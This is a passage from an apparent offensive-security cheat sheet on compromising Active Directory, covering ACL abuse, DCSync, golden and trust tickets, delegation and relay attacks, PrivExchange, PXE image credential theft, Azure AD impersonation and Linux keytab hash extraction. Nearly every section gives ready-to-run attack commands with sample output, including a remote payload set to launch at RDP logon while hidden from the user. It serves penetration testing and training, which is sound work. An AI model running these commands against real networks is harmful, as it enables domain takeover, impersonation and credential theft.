> This tab includes settings that, among other things, can be used to change what program is started when a user connects over the Remote Desktop Protocol (RDP) to a TS/RDSH in place of the normal graphical environment. The settings in the ‘Starting program’ field basically function like a windows shortcut, allowing you to supply either a local or remote (UNC) path to an executable which is to be started upon connecting to the remote host. During the logon process these values will be queried by the RCM process and run whatever executable is defined. - https://sensepost.com/blog/2020/ace-to-rce/
|
||
|
||
:warning: The RCM is only active on Terminal Servers/Remote Desktop Session Hosts. The RCM has also been disabled on recent version of Windows (>2016), it requires a registry change to re-enable.
|
||
|
||
```powershell
|
||
$UserObject = ([ADSI]("LDAP://CN=User,OU=Users,DC=ad,DC=domain,DC=tld"))
|
||
$UserObject.TerminalServicesInitialProgram = "\\1.2.3.4\share\file.exe"
|
||
$UserObject.TerminalServicesWorkDirectory = "C:\"
|
||
$UserObject.SetInfo()
|
||
```
|
||
|
||
NOTE: To not alert the user the payload should hide its own process window and spawn the normal graphical environment.
|
||
|
||
#### WriteDACL
|
||
|
||
To abuse WriteDacl to a domain object, you may grant yourself the DcSync privileges. It is possible to add any given account as a replication partner of the domain by applying the following extended rights Replicating Directory Changes/Replicating Directory Changes All. [Invoke-ACLPwn](https://github.com/fox-it/Invoke-ACLPwn) is a tool that automates the discovery and pwnage of ACLs in Active Directory that are unsafe configured : `./Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -mimiKatzLocation .\mimikatz.exe -Username 'user1' -Domain 'domain.local' -Password 'Welcome01!'`
|
||
|
||
```powershell
|
||
# Give DCSync right to the principal identity
|
||
Import-Module .\PowerView.ps1
|
||
$SecPassword = ConvertTo-SecureString 'user1pwd' -AsPlainText -Force
|
||
$Cred = New-Object System.Management.Automation.PSCredential('DOMAIN.LOCAL\user1', $SecPassword)
|
||
Add-DomainObjectAcl -Credential $Cred -TargetIdentity 'DC=domain,DC=local' -Rights DCSync -PrincipalIdentity user2 -Verbose -Domain domain.local
|
||
```
|
||
|
||
#### WriteOwner
|
||
|
||
An attacker can update the owner of the target object. Once the object owner has been changed to a principal the attacker controls, the attacker may manipulate the object any way they see fit. This can be achieved with Set-DomainObjectOwner (PowerView module).
|
||
|
||
```powershell
|
||
Set-DomainObjectOwner -Identity 'target_object' -OwnerIdentity 'controlled_principal'
|
||
```
|
||
|
||
This ACE can be abused for an Immediate Scheduled Task attack, or for adding a user to the local admin group.
|
||
|
||
|
||
#### ReadLAPSPassword
|
||
|
||
An attacker can read the LAPS password of the computer account this ACE applies to. This can be achieved with the Active Directory PowerShell module.
|
||
|
||
```powershell
|
||
Get-ADComputer -filter {ms-mcs-admpwdexpirationtime -like '*'} -prop 'ms-mcs-admpwd','ms-mcs-admpwdexpirationtime'
|
||
```
|
||
|
||
|
||
#### ReadGMSAPassword
|
||
|
||
An attacker can read the GMSA password of the account this ACE applies to. This can be achieved with the Active Directory and DSInternals PowerShell modules.
|
||
|
||
```powershell
|
||
# Save the blob to a variable
|
||
$gmsa = Get-ADServiceAccount -Identity 'SQL_HQ_Primary' -Properties 'msDS-ManagedPassword'
|
||
$mp = $gmsa.'msDS-ManagedPassword'
|
||
|
||
# Decode the data structure using the DSInternals module
|
||
ConvertFrom-ADManagedPasswordBlob $mp
|
||
```
|
||
|
||
#### ForceChangePassword
|
||
|
||
An attacker can change the password of the user this ACE applies to.
|
||
This can be achieved with Set-DomainUserPassword (PowerView module).
|
||
|
||
```powershell
|
||
$NewPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
|
||
Set-DomainUserPassword -Identity 'TargetUser' -AccountPassword $NewPassword
|
||
```
|
||
|
||
|
||
### Trust relationship between domains
|
||
|
||
* One-way
|
||
* Domain B trusts A
|
||
* Users in Domain A can access resources in Domain B
|
||
* Users in Domain B cannot access resources in Domain A
|
||
* Two-way
|
||
* Domain A trusts Domain B
|
||
* Domain B trusts Domain A
|
||
* Authentication requests can be passed between the two domains in both directions
|
||
|
||
#### Enumerate trusts between domains
|
||
|
||
```powershell
|
||
nltest /trusted_domains
|
||
```
|
||
|
||
or
|
||
|
||
```powershell
|
||
([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()
|
||
|
||
SourceName TargetName TrustType TrustDirection
|
||
---------- ---------- --------- --------------
|
||
domainA.local domainB.local TreeRoot Bidirectional
|
||
```
|
||
|
||
#### Exploit trusts between domains
|
||
|
||
:warning: Require a Domain-Admin level access to the current domain.
|
||
|
||
| Source | Target | Technique to use | Trust relationship |
|
||
|---|---|---|---|
|
||
| Root | Child | Golden Ticket + Enterprise Admin group (Mimikatz /groups) | Inter Realm (2-way) |
|
||
| Child | Child | SID History exploitation (Mimikatz /sids) | Inter Realm Parent-Child (2-way) |
|
||
| Child | Root | SID History exploitation (Mimikatz /sids) | Inter Realm Tree-Root (2-way) |
|
||
| Forest A | Forest B | PrinterBug + Unconstrained delegation ? | Inter Realm Forest or External (2-way) |
|
||
|
||
|
||
|
||
### Child Domain to Forest Compromise - SID Hijacking
|
||
|
||
Most trees are linked with dual sided trust relationships to allow for sharing of resources.
|
||
By default the first domain created if the Forest Root.
|
||
|
||
Prerequisite:
|
||
- KRBTGT Hash
|
||
|
||
- Find the SID of the domain
|
||
```powershell
|
||
$ Convert-NameToSid target.domain.com\krbtgt
|
||
S-1-5-21-2941561648-383941485-1389968811-502
|
||
|
||
# with Impacket
|
||
lookupsid.py domain/user:password@10.10.10.10
|
||
```
|
||
- Replace 502 with 519 to represent Enterprise Admins
|
||
- Create golden ticket and attack parent domain.
|
||
```powershell
|
||
kerberos::golden /user:Administrator /krbtgt:HASH_KRBTGT /domain:domain.local /sid:S-1-5-21-2941561648-383941485-1389968811 /sids:S-1-5-SID-SECOND-DOMAIN-519 /ptt
|
||
```
|
||
|
||
### Forest to Forest Compromise - Trust Ticket
|
||
|
||
#### Dumping trust passwords (trust keys)
|
||
|
||
> Look for the trust name with a dollar ($) sign at the end. Most of the accounts with a trailing “$” are computer accounts, but some are trust accounts.
|
||
|
||
```powershell
|
||
lsadump::trust /patch
|
||
|
||
or find the TRUST_NAME$ machine account hash
|
||
```
|
||
|
||
#### Create a forged trust ticket (inter-realm TGT) using Mimikatz
|
||
|
||
```powershell
|
||
mimikatz(commandline) # kerberos::golden /domain:domain.local /sid:S-1-5-21... /rc4:HASH_TRUST$ /user:Administrator /service:krbtgt /target:external.com /ticket:c:\temp\trust.kirbi
|
||
```
|
||
|
||
#### Use the Trust Ticket file to get a TGS for the targeted service
|
||
|
||
```powershell
|
||
./asktgs.exe c:\temp\trust.kirbi CIFS/machine.domain.local
|
||
```
|
||
|
||
Inject the TGS file and access the targeted service with the spoofed rights.
|
||
|
||
```powershell
|
||
kirbikator lsa .\ticket.kirbi
|
||
ls \\machine.domain.local\c$
|
||
```
|
||
|
||
### Kerberos Unconstrained Delegation
|
||
|
||
> The user sends a TGS to access the service, along with their TGT, and then the service can use the user's TGT to request a TGS for the user to any other service and impersonate the user. - https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html
|
||
|
||
:warning: Unconstrained delegation used to be the only option available in Windows 2000
|
||
|
||
Domain Compromise via DC Print Server and Unconstrained Delegation
|
||
|
||
Prerequisites:
|
||
- Object with Property "Trust this computer for delegation to any service (Kerberos only)"
|
||
- Must have ADS_UF_TRUSTED_FOR_DELEGATION
|
||
- Must not have ADS_UF_NOT_DELEGATED flag
|
||
|
||
#### Find delegation
|
||
|
||
Check the `TrustedForDelegation` property.
|
||
|
||
```powershell
|
||
# From https://github.com/samratashok/ADModule
|
||
PS> Get-ADComputer -Filter {TrustedForDelegation -eq $True}
|
||
|
||
or
|
||
|
||
$> ldapdomaindump -u "DOMAIN\\Account" -p "Password123*" 10.10.10.10
|
||
grep TRUSTED_FOR_DELEGATION domain_computers.grep
|
||
```
|
||
|
||
NOTE: Domain controllers usually have unconstrained delegation enabled
|
||
|
||
#### Monitor with Rubeus
|
||
|
||
Monitor incoming connections from Rubeus.
|
||
|
||
```powershell
|
||
Rubeus.exe monitor /interval:1
|
||
```
|
||
|
||
#### Force a connect back from the DC
|
||
|
||
> SpoolSample is a PoC to coerce a Windows host to authenticate to an arbitrary server using a "feature" in the MS-RPRN RPC interface
|
||
|
||
```powershell
|
||
# From https://github.com/leechristensen/SpoolSample
|
||
.\SpoolSample.exe VICTIM-DC-NAME UNCONSTRAINED-SERVER-DC-NAME
|
||
.\SpoolSample.exe DC01.HACKER.LAB HELPDESK.HACKER.LAB
|
||
# DC01.HACKER.LAB is the domain controller we want to compromise
|
||
# HELPDESK.HACKER.LAB is the machine with delegation enabled that we control.
|
||
```
|
||
|
||
If the attack worked you should get a TGT of the domain controller.
|
||
|
||
#### Load the ticket
|
||
|
||
Extract the base64 TGT from Rubeus output and load it to our current session.
|
||
|
||
```powershell
|
||
.\Rubeus.exe asktgs /ticket:<ticket base64> /ptt
|
||
```
|
||
|
||
Alternatively you could also grab the ticket using Mimikatz : `mimikatz # sekurlsa::tickets`
|
||
|
||
Then you can use DCsync or another attack : `mimikatz # lsadump::dcsync /user:HACKER\krbtgt`
|
||
|
||
|
||
#### Mitigation
|
||
|
||
* Ensure sensitive accounts cannot be delegated
|
||
* Disable the Print Spooler Service
|
||
|
||
### Kerberos Constrained Delegation
|
||
|
||
> Request a Kerberos ticket which allows us to exploit delegation configurations, we can once again use Impackets getST.py script, however,
|
||
|
||
Passing the -impersonate flag and specifying the user we wish to impersonate (any valid username).
|
||
|
||
```powershell
|
||
# Discover
|
||
$ Get-DomainComputer -TrustedToAuth | select -exp dnshostname
|
||
|
||
# Find the service
|
||
$ Get-DomainComputer previous_result | select -exp msds-AllowedToDelegateTo
|
||
|
||
# Exploit with Impacket
|
||
$ getST.py -spn HOST/SQL01.DOMAIN 'DOMAIN/user:password' -impersonate Administrator -dc-ip 10.10.10.10
|
||
Impacket v0.9.21-dev - Copyright 2019 SecureAuth Corporation
|
||
|
||
[*] Getting TGT for user
|
||
[*] Impersonating Administrator
|
||
[*] Requesting S4U2self
|
||
[*] Requesting S4U2Proxy
|
||
[*] Saving ticket in Administrator.ccache
|
||
|
||
# Exploit with Rubeus
|
||
$ ./Rubeus.exe s4u /user:user_for_delegation /rc4:user_pwd_hash /impersonateuser:user_to_impersonate /domain:domain.com /dc:dc01.domain.com /msdsspn:cifs/srv01.domain.com /ptt
|
||
$ ./Rubeus.exe s4u /user:MACHINE$ /rc4:MACHINE_PWD_HASH /impersonateuser:Administrator /msdsspn:"cifs/dc.domain.com" /ptt
|
||
$ dir \\dc.domain.com\c$
|
||
```
|
||
|
||
|
||
### Kerberos Resource Based Constrained Delegation
|
||
|
||
Resource-based Constrained Delegation was introduced in Windows Server 2012.
|
||
|
||
> The user sends a TGS to access the service ("Service A"), and if the service is allowed to delegate to another pre-defined service ("Service B"), then Service A can present to the authentication service the TGS that the user provided and obtain a TGS for the user to Service B. https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html
|
||
|
||
1. Import **Powermad** and **Powerview**
|
||
|
||
```powershell
|
||
PowerShell.exe -ExecutionPolicy Bypass
|
||
Import-Module .\powermad.ps1
|
||
Import-Module .\powerview.ps1
|
||
```
|
||
|
||
2. Get user SID
|
||
|
||
```powershell
|
||
$AttackerSID = Get-DomainUser SvcJoinComputerToDom -Properties objectsid | Select -Expand objectsid
|
||
$ACE = Get-DomainObjectACL dc01-ww2.factory.lan | ?{$_.SecurityIdentifier -match $AttackerSID}
|
||
$ACE
|
||
ConvertFrom-SID $ACE.SecurityIdentifier
|
||
```
|
||
|
||
3. Abuse **MachineAccountQuota** to create a computer account and set an SPN for it
|
||
|
||
```powershell
|
||
New-MachineAccount -MachineAccount swktest -Password $(ConvertTo-SecureString 'Weakest123*' -AsPlainText -Force)
|
||
```
|
||
|
||
4. Rewrite DC's **AllowedToActOnBehalfOfOtherIdentity** properties
|
||
|
||
```powershell
|
||
$ComputerSid = Get-DomainComputer swktest -Properties objectsid | Select -Expand objectsid
|
||
|
||
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
|
||
$SDBytes = New-Object byte[] ($SD.BinaryLength)
|
||
$SD.GetBinaryForm($SDBytes, 0)
|
||
Get-DomainComputer dc01-ww2.factory.lan | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
|
||
$RawBytes = Get-DomainComputer dc01-ww2.factory.lan -Properties 'msds-allowedtoactonbehalfofotheridentity' | select -expand msds-allowedtoactonbehalfofotheridentity
|
||
$Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes, 0
|
||
$Descriptor.DiscretionaryAcl
|
||
```
|
||
|
||
5. Use Rubeus to get hash from password
|
||
|
||
```powershell
|
||
Rubeus.exe hash /password:'Weakest123*' /user:swktest /domain:factory.lan
|
||
[*] Input password : Weakest123*
|
||
[*] Input username : swktest
|
||
[*] Input domain : factory.lan
|
||
[*] Salt : FACTORY.LANswktest
|
||
[*] rc4_hmac : F8E064CA98539B735600714A1F1907DD
|
||
[*] aes128_cts_hmac_sha1 : D45DEADECB703CFE3774F2AA20DB9498
|
||
[*] aes256_cts_hmac_sha1 : 0129D24B2793DD66BAF3E979500D8B313444B4D3004DE676FA6AFEAC1AC5C347
|
||
[*] des_cbc_md5 : BA297CFD07E62A5E
|
||
```
|
||
|
||
6. Impersonate domain admin using our newly created machine account
|
||
|
||
```powershell
|
||
.\Rubeus.exe s4u /user:swktest$ /rc4:F8E064CA98539B735600714A1F1907DD /impersonateuser:Administrator /msdsspn:cifs/dc01-ww2.factory.lan /ptt
|
||
|
||
[*] Impersonating user 'Administrator' to target SPN 'cifs/dc01-ww2.factory.lan'
|
||
[*] Using domain controller: DC01-WW2.factory.lan (172.16.42.5)
|
||
[*] Building S4U2proxy request for service: 'cifs/dc01-ww2.factory.lan'
|
||
[*] Sending S4U2proxy request
|
||
[+] S4U2proxy success!
|
||
[*] base64(ticket.kirbi) for SPN 'cifs/dc01-ww2.factory.lan':
|
||
|
||
doIGXDCCBligAwIBBaEDAgEWooIFXDCCBVhhggVUMIIFUKADAgEFoQ0bC0ZBQ1RPUlkuTEFOoicwJaAD
|
||
AgECoR4wHBsEY2lmcxsUZGMwMS[...]PMIIFC6ADAgESoQMCAQOiggT9BIIE
|
||
LmZhY3RvcnkubGFu
|
||
|
||
[*] Action: Import Ticket
|
||
[+] Ticket successfully imported!
|
||
```
|
||
|
||
### Relay delegation with mitm6
|
||
|
||
Prerequisites:
|
||
- IPv6 enabled (Windows prefers IPV6 over IPv4)
|
||
- LDAP over TLS (LDAPS)
|
||
|
||
> ntlmrelayx relays the captured credentials to LDAP on the domain controller, uses that to create a new machine account, print the account's name and password and modifies the delegation rights of it.
|
||
|
||
```powershell
|
||
git clone https://github.com/fox-it/mitm6.git
|
||
cd /opt/tools/mitm6
|
||
pip install .
|
||
|
||
mitm6 -hw ws02 -d lab.local --ignore-nofqnd
|
||
ntlmrelayx.py -t ldaps://dc01.lab.local --delegate-access --no-smb-server -wh attacker-wpad
|
||
then use rubeus with s4u to relay the delegation
|
||
```
|
||
|
||
### PrivExchange attack
|
||
|
||
Exchange your privileges for Domain Admin privs by abusing Exchange.
|
||
:warning: You need a shell on a user account with a mailbox.
|
||
|
||
|
||
1. Exchange server hostname or IP address
|
||
|
||
```bash
|
||
pth-net rpc group members "Exchange Servers" -I dc01.domain.local -U domain/username
|
||
```
|
||
|
||
|
||
2. Relay of the Exchange server authentication and privilege escalation (using ntlmrelayx from Impacket).
|
||
|
||
```powershell
|
||
ntlmrelayx.py -t ldap://dc01.domain.local --escalate-user username
|
||
```
|
||
|
||
|
||
3. Subscription to the push notification feature (using privexchange.py or powerPriv), uses the credentials of the current user to authenticate to the Exchange server. Forcing the Exchange server's to send back its NTLMv2 hash to a controlled machine.
|
||
|
||
```bash
|
||
# https://github.com/dirkjanm/PrivExchange/blob/master/privexchange.py
|
||
python privexchange.py -ah xxxxxxx -u xxxx -d xxxxx
|
||
python privexchange.py -ah 10.0.0.2 mail01.domain.local -d domain.local -u user_exchange -p pass_exchange
|
||
|
||
# https://github.com/G0ldenGunSec/PowerPriv
|
||
powerPriv -targetHost corpExch01 -attackerHost 192.168.1.17 -Version 2016
|
||
```
|
||
|
||
4. Profit using secretdumps from Impacket, the user can now perform a dcsync and get another user's NTLM hash
|
||
|
||
```bash
|
||
python secretsdump.py xxxxxxxxxx -just-dc
|
||
python secretsdump.py lab/buff@192.168.0.2 -ntds ntds -history -just-dc-ntlm
|
||
```
|
||
|
||
5. Clean your mess and restore a previous state of the user's ACL
|
||
|
||
```powershell
|
||
python aclpwn.py --restore ../aclpwn-20190319-125741.restore
|
||
```
|
||
|
||
Alternatively you can use the Metasploit module
|
||
|
||
[`use auxiliary/scanner/http/exchange_web_server_pushsubscription`](https://github.com/rapid7/metasploit-framework/pull/11420)
|
||
|
||
Alternatively you can use an all-in-one tool : Exchange2domain.
|
||
|
||
```powershell
|
||
git clone github.com/Ridter/Exchange2domain
|
||
python Exchange2domain.py -ah attackterip -ap listenport -u user -p password -d domain.com -th DCip MailServerip
|
||
python Exchange2domain.py -ah attackterip -u user -p password -d domain.com -th DCip --just-dc-user krbtgt MailServerip
|
||
```
|
||
|
||
### PXE Boot image attack
|
||
|
||
PXE allows a workstation to boot from the network by retrieving an operating system image from a server using TFTP (Trivial FTP) protocol. This boot over the network allows an attacker to fetch the image and interact with it.
|
||
|
||
- Press **[F8]** during the PXE boot to spawn an administrator console on the deployed machine.
|
||
- Press **[SHIFT+F10]** during the initial Windows setup process to bring up a system console, then add a local administrator or dump SAM/SYSTEM registry.
|
||
|
||
```powershell
|
||
net user hacker Password123! /add
|
||
net localgroup administrators /add hacker
|
||
```
|
||
|
||
- Extract the pre-boot image (wim files) using [PowerPXE.ps1 (https://github.com/wavestone-cdt/powerpxe)](https://github.com/wavestone-cdt/powerpxe) and dig through it to find default passwords and domain accounts.
|
||
|
||
```powershell
|
||
# Import the module
|
||
PS > Import-Module .\PowerPXE.ps1
|
||
|
||
# Start the exploit on the Ethernet interface
|
||
PS > Get-PXEcreds -InterfaceAlias Ethernet
|
||
PS > Get-PXECreds -InterfaceAlias « lab 0 »
|
||
|
||
# Wait for the DHCP to get an address
|
||
>> Get a valid IP address
|
||
>>> >>> DHCP proposal IP address: 192.168.22.101
|
||
>>> >>> DHCP Validation: DHCPACK
|
||
>>> >>> IP address configured: 192.168.22.101
|
||
|
||
# Extract BCD path from the DHCP response
|
||
>> Request BCD File path
|
||
>>> >>> BCD File path: \Tmp\x86x64{5AF4E332-C90A-4015-9BA2-F8A7C9FF04E6}.bcd
|
||
>>> >>> TFTP IP Address: 192.168.22.3
|
||
|
||
# Download the BCD file and extract wim files
|
||
>> Launch TFTP download
|
||
>>>> Transfer succeeded.
|
||
>> Parse the BCD file: conf.bcd
|
||
>>>> Identify wim file : \Boot\x86\Images\LiteTouchPE_x86.wim
|
||
>>>> Identify wim file : \Boot\x64\Images\LiteTouchPE_x64.wim
|
||
>> Launch TFTP download
|
||
>>>> Transfer succeeded.
|
||
|
||
# Parse wim files to find interesting data
|
||
>> Open LiteTouchPE_x86.wim
|
||
>>>> Finding Bootstrap.ini
|
||
>>>> >>>> DeployRoot = \\LAB-MDT\DeploymentShare$
|
||
>>>> >>>> UserID = MdtService
|
||
>>>> >>>> UserPassword = Somepass1
|
||
```
|
||
|
||
|
||
### Impersonating Office 365 Users on Azure AD Connect
|
||
|
||
Prerequisites:
|
||
|
||
* Obtain NTLM password hash of the AZUREADSSOACC account
|
||
```powershell
|
||
mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit
|
||
```
|
||
|
||
* AAD logon name of the user we want to impersonate (userPrincipalName or mail)
|
||
```powershell
|
||
elrond@contoso.com
|
||
```
|
||
|
||
* SID of the user we want to impersonate
|
||
```powershell
|
||
S-1-5-21-2121516926-2695913149-3163778339-1234
|
||
```
|
||
|
||
|
||
Create the Silver Ticket and inject it into Kerberos cache:
|
||
```powershell
|
||
mimikatz.exe "kerberos::golden /user:elrond
|
||
/sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234
|
||
/domain:contoso.local /rc4:f9969e088b2c13d93833d0ce436c76dd
|
||
/target:aadg.windows.net.nsatc.net /service:HTTP /ptt" exit
|
||
```
|
||
|
||
Launch Mozilla Firefox, go to about:config
|
||
```powershell
|
||
network.negotiate-auth.trusted-uris="https://aadg.windows.net.nsatc.net,https://autologon.microsoftazuread-sso.com".
|
||
```
|
||
|
||
Navigate to any web application that is integrated with our AAD domain. Once at the Office365 logon screen, fill in the user name, while leaving the password field empty. Then press TAB or ENTER.
|
||
|
||
|
||
## Linux Active Directory
|
||
|
||
### CCACHE ticket reuse from /tmp
|
||
|
||
List the current ticket used for authentication with `env | grep KRB5CCNAME`. The format is portable and the ticket can be reused by setting the environment variable with `export KRB5CCNAME=/tmp/ticket.ccache`
|
||
|
||
> When tickets are set to be stored as a file on disk, the standard format and type is a CCACHE file. This is a simple binary file format to store Kerberos credentials. These files are typically stored in /tmp and scoped with 600 permissions
|
||
|
||
### CCACHE ticket reuse from keyring
|
||
|
||
Tool to extract Kerberos tickets from Linux kernel keys : https://github.com/TarlogicSecurity/tickey
|
||
|
||
```powershell
|
||
[root@Lab-LSV01 /]# /tmp/tickey -i
|
||
[*] krb5 ccache_name = KEYRING:session:sess_%{uid}
|
||
[+] root detected, so... DUMP ALL THE TICKETS!!
|
||
[*] Trying to inject in tarlogic[1000] session...
|
||
[+] Successful injection at process 25723 of tarlogic[1000],look for tickets in /tmp/__krb_1000.ccache
|
||
[*] Trying to inject in velociraptor[1120601115] session...
|
||
[+] Successful injection at process 25794 of velociraptor[1120601115],look for tickets in /tmp/__krb_1120601115.ccache
|
||
[*] Trying to inject in trex[1120601113] session...
|
||
[+] Successful injection at process 25820 of trex[1120601113],look for tickets in /tmp/__krb_1120601113.ccache
|
||
[X] [uid:0] Error retrieving tickets
|
||
```
|
||
|
||
### CCACHE ticket reuse from keytab
|
||
|
||
```powershell
|
||
git clone https://github.com/its-a-feature/KeytabParser
|
||
python KeytabParser.py /etc/krb5.keytab
|
||
klist -k /etc/krb5.keytab
|
||
```
|
||
|
||
### Extract accounts from /etc/krb5.keytab
|
||
|
||
The service keys used by services that run as root are usually stored in the keytab file /etc/krb5.keytab. This service key is the equivalent of the service's password, and must be kept secure.
|
||
|
||
Use [`klist`](https://adoptopenjdk.net/?variant=openjdk13&jvmVariant=hotspot) to read the keytab file and parse its content. The key that you see when the [key type](https://cwiki.apache.org/confluence/display/DIRxPMGT/Kerberos+EncryptionKey) is 23 is the actual NT Hash of the user.
|
||
|
||
```powershell
|
||
$ klist.exe -t -K -e -k FILE:C:\Users\User\downloads\krb5.keytab
|
||
[...]
|
||
[26] Service principal: host/COMPUTER@DOMAIN
|
||
KVNO: 25
|
||
Key type: 23
|
||
Key: 31d6cfe0d16ae931b73c59d7e0c089c0
|
||
Time stamp: Oct 07, 2019 09:12:02
|
||
[...]
|
||
```
|
||
|
||
On Linux you can use [`KeyTabExtract`](https://github.com/sosdave/KeyTabExtract): we want RC4 HMAC hash to reuse the NLTM hash.
|
||
|
||
```powershell
|
||
$ python3 keytabextract.py krb5.keytab
|
||
[!] No RC4-HMAC located. Unable to extract NTLM hashes. # No luck
|
||
[+] Keytab File successfully imported.
|
||
REALM : DOMAIN
|
||
SERVICE PRINCIPAL : host/computer.domain
|
||
NTLM HASH : 31d6cfe0d16ae931b73c59d7e0c089c0 # Lucky
|
||
```
|
||
|
||
On macOS you can use `bifrost`.
|
||
|
||
```powershell
|
||
./bifrost -action dump -source keytab -path test
|
||
```
|
||
|
||
Connect to the machine using the account and the hash with CME.
|
||
|
||
```powershell
|
||
$ crackmapexec 10.XXX.XXX.XXX -u 'COMPUTER$' -H "31d6cfe0d16ae931b73c59d7e0c089c0" -d "DOMAIN"
|
||
CME 10.XXX.XXX.XXX:445 HOSTNAME-01 [+] DOMAIN\COMPUTER$ 31d6cfe0d16ae931b73c59d7e0c089c0
|
||
```
|
||
|
||
## References
|
||
|
||
* [Explain like I’m 5: Kerberos - Apr 2, 2013 - @roguelynn](https://www.roguelynn.com/words/explain-like-im-5-kerberos/)
|
||
* [Impersonating Office 365 Users With Mimikatz - January 15, 2017 - Michael Grafnetter](#https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/)
|
||
* [Abusing Exchange: One API call away from Domain Admin - Dirk-jan Mollema](https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin)
|
||
* [Abusing Kerberos: Kerberoasting - Haboob Team](https://www.exploit-db.com/docs/english/45051-abusing-kerberos---kerberoasting.pdf)
|
||
* [Abusing S4U2Self: Another Sneaky Active Directory Persistence - Alsid](https://alsid.com/company/news/abusing-s4u2self-another-sneaky-active-directory-persistence)
|
||
* [Attacks Against Windows PXE Boot Images - February 13th, 2018 - Thomas Elling](https://blog.netspi.com/attacks-against-windows-pxe-boot-images/)
|
||
* [BUILDING AND ATTACKING AN ACTIVE DIRECTORY LAB WITH POWERSHELL - @myexploit2600 & @5ub34x](https://1337red.wordpress.com/building-and-attacking-an-active-directory-lab-with-powershell/)
|
||
* [Becoming Darth Sidious: Creating a Windows Domain (Active Directory) and hacking it - @chryzsh](https://chryzsh.gitbooks.io/darthsidious/content/building-a-lab/building-a-lab/building-a-small-lab.html)
|
||
* [BlueHat IL - Benjamin Delpy](https://microsoftrnd.co.il/Press%20Kit/BlueHat%20IL%20Decks/BenjaminDelpy.pdf)
|
||
* [COMPROMISSION DES POSTES DE TRAVAIL GRÂCE À LAPS ET PXE MISC n° 103 - mai 2019 - Rémi Escourrou, Cyprien Oger ](https://connect.ed-diamond.com/MISC/MISC-103/Compromission-des-postes-de-travail-grace-a-LAPS-et-PXE)
|
||
* [Chump2Trump - AD Privesc talk at WAHCKon 2017 - @l0ss](https://github.com/l0ss/Chump2Trump/blob/master/ChumpToTrump.pdf)
|
||
* [DiskShadow The return of VSS Evasion Persistence and AD DB extraction](https://bohops.com/2018/03/26/diskshadow-the-return-of-vss-evasion-persistence-and-active-directory-database-extraction/)
|
||
* [Domain Penetration Testing: Using BloodHound, Crackmapexec, & Mimikatz to get Domain Admin](https://hausec.com/2017/10/21/domain-penetration-testing-using-bloodhound-crackmapexec-mimikatz-to-get-domain-admin/)
|
||
* [Dumping Domain Password Hashes - Pentestlab](https://pentestlab.blog/2018/07/04/dumping-domain-password-hashes/)
|
||
* [Exploiting MS14-068 with PyKEK and Kali - 14 DEC 2014 - ZACH GRACE @ztgrace](https://zachgrace.com/posts/exploiting-ms14-068/)
|
||
* [Exploiting PrivExchange - April 11, 2019 - @chryzsh](https://chryzsh.github.io/exploiting-privexchange/)
|
||
* [Exploiting Unconstrained Delegation - Riccardo Ancarani - 28 APRIL 2019](https://www.riccardoancarani.it/exploiting-unconstrained-delegation/)
|
||
* [Finding Passwords in SYSVOL & Exploiting Group Policy Preferences](https://adsecurity.org/?p=2288)
|
||
* [How Attackers Use Kerberos Silver Tickets to Exploit Systems - Sean Metcalf](https://adsecurity.org/?p=2011)
|
||
* [Fun with LDAP, Kerberos (and MSRPC) in AD Environments](https://speakerdeck.com/ropnop/fun-with-ldap-kerberos-and-msrpc-in-ad-environments)
|
||
* [Getting the goods with CrackMapExec: Part 1, by byt3bl33d3r](https://byt3bl33d3r.github.io/getting-the-goods-with-crackmapexec-part-1.html)
|
||
* [Getting the goods with CrackMapExec: Part 2, by byt3bl33d3r](https://byt3bl33d3r.github.io/getting-the-goods-with-crackmapexec-part-2.html)
|
||
* [Golden ticket - Pentestlab](https://pentestlab.blog/2018/04/09/golden-ticket/)
|
||
* [How To Pass the Ticket Through SSH Tunnels - bluescreenofjeff](https://bluescreenofjeff.com/2017-05-23-how-to-pass-the-ticket-through-ssh-tunnels/)
|
||
* [Hunting in Active Directory: Unconstrained Delegation & Forests Trusts - Roberto Rodriguez - Nov 28, 2018](https://posts.specterops.io/hunting-in-active-directory-unconstrained-delegation-forests-trusts-71f2b33688e1)
|
||
* [Invoke-Kerberoast - Powersploit Read the docs](https://powersploit.readthedocs.io/en/latest/Recon/Invoke-Kerberoast/)
|
||
* [Kerberoasting - Part 1 - Mubix “Rob” Fuller](https://room362.com/post/2016/kerberoast-pt1/)
|
||
* [Passing the hash with native RDP client (mstsc.exe)](https://michael-eder.net/post/2018/native_rdp_pass_the_hash/)
|
||
* [Pen Testing Active Directory Environments - Part I: Introduction to crackmapexec (and PowerView)](https://blog.varonis.com/pen-testing-active-directory-environments-part-introduction-crackmapexec-powerview/)
|
||
* [Pen Testing Active Directory Environments - Part II: Getting Stuff Done With PowerView](https://blog.varonis.com/pen-testing-active-directory-environments-part-ii-getting-stuff-done-with-powerview/)
|
||
* [Pen Testing Active Directory Environments - Part III: Chasing Power Users](https://blog.varonis.com/pen-testing-active-directory-environments-part-iii-chasing-power-users/)
|
||
* [Pen Testing Active Directory Environments - Part IV: Graph Fun](https://blog.varonis.com/pen-testing-active-directory-environments-part-iv-graph-fun/)
|
||
* [Pen Testing Active Directory Environments - Part V: Admins and Graphs](https://blog.varonis.com/pen-testing-active-directory-v-admins-graphs/)
|
||
* [Pen Testing Active Directory Environments - Part VI: The Final Case](https://blog.varonis.com/pen-testing-active-directory-part-vi-final-case/)
|
||
* [Penetration Testing Active Directory, Part I - March 5, 2019 - Hausec](https://hausec.com/2019/03/05/penetration-testing-active-directory-part-i/)
|
||
* [Penetration Testing Active Directory, Part II - March 12, 2019 - Hausec](https://hausec.com/2019/03/12/penetration-testing-active-directory-part-ii/)
|
||
